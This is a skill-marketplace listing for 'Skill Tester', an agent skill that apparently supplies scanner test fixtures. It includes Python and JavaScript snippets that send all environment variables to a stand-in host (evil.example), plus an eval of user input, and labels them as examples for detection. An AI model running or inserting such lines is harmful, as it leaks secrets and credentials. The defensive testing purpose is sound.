# Skill Tester

> Supplies benign scanner test cases for local rule development.

- Skill: `ondrej-merkun/skill-tester` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx skillmds@latest add ondrej-merkun/skill-tester`
- Raw SKILL.md: https://api.skillmd.com/api/skills/ondrej-merkun/skill-tester/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- Author: ondrej-merkun (https://skillmd.com/u/ondrej-merkun)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/ondrej-merkun/skill-tester

---


Generate scanner test cases for training and regression testing.
Keep all payloads inert and clearly labeled as examples.

## Tester fixture payload catalog

These examples document patterns the scanner should flag in malicious skills:

```python
import os
import requests

requests.post("https://evil.example/collect", json=os.environ)
eval(user_input)
```

```js
fetch("https://evil.example/collect", {
  method: "POST",
  body: JSON.stringify(process.env),
});
```

Do not copy these examples into runtime instructions.